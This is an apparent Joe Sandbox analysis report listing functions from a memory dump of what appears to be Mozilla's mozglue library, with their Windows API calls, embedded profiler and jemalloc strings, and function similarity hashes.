RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CA53899,?), ref: 6CA53943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CA5396E

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 8fc575e81b066ce7b86de6c948a6d10a9b9c4ad2ef7b8cdd62329ebeeb412bde
Instruction ID: 1e4268049dc290bcc8bcc33d0998c345b55832af924c68c934a448851a63aa0c
Opcode Fuzzy Hash: 8fc575e81b066ce7b86de6c948a6d10a9b9c4ad2ef7b8cdd62329ebeeb412bde
Instruction Fuzzy Hash: C92123B2601750DFD710DF55C884B8AB7B9EF84728F59C429E9AAA7B00C730E8C5CB90

Function 6CA884E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA884F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA8850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA8851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA8855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA8856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA885AC

Part of subcall function 6CA87670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA8767F
Part of subcall function 6CA87670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA87693
Part of subcall function 6CA87670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA876A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA885B2

Part of subcall function 6CA65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA65EDB
Part of subcall function 6CA65E90: memset.VCRUNTIME140(6CAA7765,000000E5,55CCCCCC), ref: 6CA65F27
Part of subcall function 6CA65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA65FB2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f475e969fc2767784216b9752023871988faa06ab75eaf31de5217385b52666d
Instruction ID: 45624337f0436027077425b6d5dde767a965625644146b8bcda117bc341fc6dc
Opcode Fuzzy Hash: f475e969fc2767784216b9752023871988faa06ab75eaf31de5217385b52666d
Instruction Fuzzy Hash: EB217F742017029FDB18DB24C888A5AB7B5BF4430DF18482DE55BC3B81DB31F989CB51

Function 6CA51640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA51699
VerSetConditionMask.NTDLL ref: 6CA516CB
VerSetConditionMask.NTDLL ref: 6CA516D7
VerSetConditionMask.NTDLL ref: 6CA516DE
VerSetConditionMask.NTDLL ref: 6CA516E5
VerSetConditionMask.NTDLL ref: 6CA516EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA516F9

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 060fe6d9c9d0a673a82c36aea79c7925517137ab65fab1fa7576b8a89f234d96
Instruction ID: 4849150891a583cbce664689276c8bec6af188e65cf1dd691afced12766b4a74
Opcode Fuzzy Hash: 060fe6d9c9d0a673a82c36aea79c7925517137ab65fab1fa7576b8a89f234d96
Instruction Fuzzy Hash: FA21C3B07403086BEB156B689C85FFA72BCEB86704F408528F6059B5C0C6749EA586A1

Function 6CA8F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA7CBE8: GetCurrentProcess.KERNEL32(?,6CA431A7), ref: 6CA7CBF1
Part of subcall function 6CA7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA431A7), ref: 6CA7CBFA

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA8F598), ref: 6CA8F621

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

GetCurrentThreadId.KERNEL32 ref: 6CA8F637
AcquireSRWLockExclusive.KERNEL32(6CACF4B8,?,?,00000000,?,6CA8F598), ref: 6CA8F645
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8,?,?,00000000,?,6CA8F598), ref: 6CA8F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA8F62A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 171f8c7f165a53c6cd4b6818f1c65ab914f8d816b669a9a9cbf74f010534ba9e
Instruction ID: 663e6d75986ca0feda34107d6a56e5e490ad93a82d90859f17074bd00245d14d
Opcode Fuzzy Hash: 171f8c7f165a53c6cd4b6818f1c65ab914f8d816b669a9a9cbf74f010534ba9e
Instruction Fuzzy Hash: BA110A35302306AFCB08AF58DE489D57779FF8675DB104119EA0687F41CB36A956CBA0

Function 6CA51FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA7AB89: EnterCriticalSection.KERNEL32(6CACE370,?,?,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB94
Part of subcall function 6CA7AB89: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CA51FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CA51FFD
__Init_thread_footer.LIBCMT ref: 6CA52011
FreeLibrary.KERNEL32 ref: 6CA52059

Strings

CoCreateInstance, xrefs: 6CA51FF7
combase.dll, xrefs: 6CA51FD9

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: e83a6704fd01f5ff661f9eb90e2720bdde48a8e252bf3251928642626b115d33
Instruction ID: ff7633308762970eadfc7f899d5f0211e940c52a56d29fb40e2f25bb62d97908
Opcode Fuzzy Hash: e83a6704fd01f5ff661f9eb90e2720bdde48a8e252bf3251928642626b115d33
Instruction Fuzzy Hash: 9B113D7934130AAFDF288F15DC49E963F79FB46365F04C129EA0582640CB31AE92CAA1

Function 6CA50EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA7AB89: EnterCriticalSection.KERNEL32(6CACE370,?,?,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB94
Part of subcall function 6CA7AB89: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA7D9F0,00000000), ref: 6CA50F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA50F3C
__Init_thread_footer.LIBCMT ref: 6CA50F50
FreeLibrary.KERNEL32(?,6CA7D9F0,00000000), ref: 6CA50F86

Strings

CoInitializeEx, xrefs: 6CA50F36
combase.dll, xrefs: 6CA50F18

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: cd69d0d46ea5cea63888d9d72011c50b6f51e57e889a830bfd1002044a9b1c5c
Instruction ID: a9b584f723b15f857a06d84982878eeb7c26046a4781510c51243d48f480fdd0
Opcode Fuzzy Hash: cd69d0d46ea5cea63888d9d72011c50b6f51e57e889a830bfd1002044a9b1c5c
Instruction Fuzzy Hash: AB11C6743013469FDF08CF54CD08A463778FB4A329F44C21DEA0592740D732A68ACA65

Function 6CA8F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8F561

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

GetCurrentThreadId.KERNEL32 ref: 6CA8F577
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8F585
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CA8F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA8F56A
[I %d/%d] profiler_resume, xrefs: 6CA8F239
[I %d/%d] profiler_resume_sampling, xrefs: 6CA8F499

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 71aef580e05349cbe0e8e5543a6b8b7634bea31bce7b85fae1aeb71833e5e613
Instruction ID: 1946cf36c1845834a23cd40e70852b3a8b58f803600ae5318c39c0d60ca61dc8
Opcode Fuzzy Hash: 71aef580e05349cbe0e8e5543a6b8b7634bea31bce7b85fae1aeb71833e5e613
Instruction Fuzzy Hash: FFF0E9767013029FDB046F65ED48A9A7B7CFB8665DF008119FA0687702CF3689468BB1

Function 6CA8F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA8F598), ref: 6CA8F621

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

GetCurrentThreadId.KERNEL32 ref: 6CA8F637
AcquireSRWLockExclusive.KERNEL32(6CACF4B8,?,?,00000000,?,6CA8F598), ref: 6CA8F645
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8,?,?,00000000,?,6CA8F598), ref: 6CA8F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA8F62A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 7446196a9b1d899a2ac0757d3f1ba3c936160e87b582efe88b72cf3a7724242e
Instruction ID: b8790a5e1a5aeaf988431594e0f65166a90add213355fb29a0fe4f5e9e02bccf
Opcode Fuzzy Hash: 7446196a9b1d899a2ac0757d3f1ba3c936160e87b582efe88b72cf3a7724242e
Instruction Fuzzy Hash: 1AF0E976301346AFDB046B68DD48A9A7B7DFB8626DF008129FA0687702CB364D478B71

Function 6CA50E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CA50DF8), ref: 6CA50E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CA50EA1
__Init_thread_footer.LIBCMT ref: 6CA50EB5
FreeLibrary.KERNEL32 ref: 6CA50EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CA50E9B
kernel32.dll, xrefs: 6CA50E7D

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 4a5879e4d6a006de1d9abce9899c2d9029455c71c08cee6593fa73d975c3fcdc
Instruction ID: b0ec706412bad94c270b6f1760c308ec1d33e968a813f9b64064b3cef6f85ff8
Opcode Fuzzy Hash: 4a5879e4d6a006de1d9abce9899c2d9029455c71c08cee6593fa73d975c3fcdc
Instruction Fuzzy Hash: 64014B74700383DBDF088FE8ED18A4233B6F746718F24C62DDD0182B40D735AAB69A62

Function 6CA805F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA7CFAE,?,?,?,6CA431A7), ref: 6CA805FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA7CFAE,?,?,?,6CA431A7), ref: 6CA80616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA431A7), ref: 6CA8061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA431A7), ref: 6CA80627

Strings

<jemalloc>, xrefs: 6CA805FA, 6CA8060F
: (malloc) Error in VirtualFree(), xrefs: 6CA8061B, 6CA80625

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: d2196a8ca5b5957cb4c14faf846e45af1b3c7f413cf00c37ebc478b32a2c27e3
Instruction ID: daac1905ca6eb1f58c0cc0f126b4831008cac4019e99a0135d8f484951bb8df5
Opcode Fuzzy Hash: d2196a8ca5b5957cb4c14faf846e45af1b3c7f413cf00c37ebc478b32a2c27e3
Instruction Fuzzy Hash: F7E08CE2A0111037F514225ABC86DBBB61CEBC6138F080139FD0D92301E95AAD1E51F6

Function 6CA505F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7789a305e7be87f8e889db3ee23d90bf58b3d01bbc67e91b266acb48bf9d161
Instruction ID: c79620ac9a88acc2efcba3553f3461118c1e1c62344f659f2da67f73c24de88d
Opcode Fuzzy Hash: b7789a305e7be87f8e889db3ee23d90bf58b3d01bbc67e91b266acb48bf9d161
Instruction Fuzzy Hash: 13A14CB4A00745CFDB14CF29C994A99FBF1BF48308F44866ED44A97B40E770AA95CF90

Function 6CAA14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAA14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAA14E2
GetCurrentThreadId.KERNEL32 ref: 6CAA1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAA15BA
free.MOZGLUE(?), ref: 6CAA16B4

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: fb57c0ea2467be666aac25fc7bce96a58483bf0eed42b07a363b0bf618f9df93
Instruction ID: 085a9e539941b1d7fa04a336da797d261bc1996c4d8b7b4c7f5d22feb8bc52d4
Opcode Fuzzy Hash: fb57c0ea2467be666aac25fc7bce96a58483bf0eed42b07a363b0bf618f9df93
Instruction Fuzzy Hash: C561E376A00705DBDB118F64C980BEE77B5BF89308F04851CEE8A57711DB35E98ACB91

Function 6CA99F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA99FDB
free.MOZGLUE(?,?), ref: 6CA99FF0
free.MOZGLUE(?,?), ref: 6CA9A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA9A0BE
free.MOZGLUE(?,?), ref: 6CA9A0D5
free.MOZGLUE(?,?), ref: 6CA9A0EB

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4a8b01f79ffbb6cf7b530482de87db87f1623b69594822953112722742690f89
Instruction ID: 9542ceb8a9f710a5d5421d60c83ef03b476a90400bf497c148c6a6785abafb8e
Opcode Fuzzy Hash: 4a8b01f79ffbb6cf7b530482de87db87f1623b69594822953112722742690f89
Instruction Fuzzy Hash: 9361A2759087419FC711CF18C58159AB3F5FF88328F54865AE8999BB02EB32E9C6CBC1

Function 6CA9DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA9DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA9D38A,?), ref: 6CA9DC6F
free.MOZGLUE(?,?,?,?,?,6CA9D38A,?), ref: 6CA9DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA9D38A,?), ref: 6CA9DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA9D38A,?), ref: 6CA9DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA9D38A,?), ref: 6CA9DD4A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 5f34aa5368d3c531cb91f3d365d8f7b52348afc5808bfc4b3193020854fcad6b
Instruction ID: e84675421866b939133ebeaff8c11554503a7e244c9bd52eee42e0dbd153d0a0
